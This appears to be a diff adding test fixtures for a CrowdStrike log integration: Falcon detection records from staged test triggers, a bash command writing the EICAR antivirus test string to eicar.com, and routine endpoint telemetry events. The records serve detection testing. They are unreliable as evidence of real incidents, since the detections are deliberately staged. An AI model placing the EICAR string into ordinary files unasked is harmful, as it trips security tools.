+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"}
+{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log
new file mode 100644
index 0000000000..c3de03a23b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log
@@ -0,0 +1,138 @@
+{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
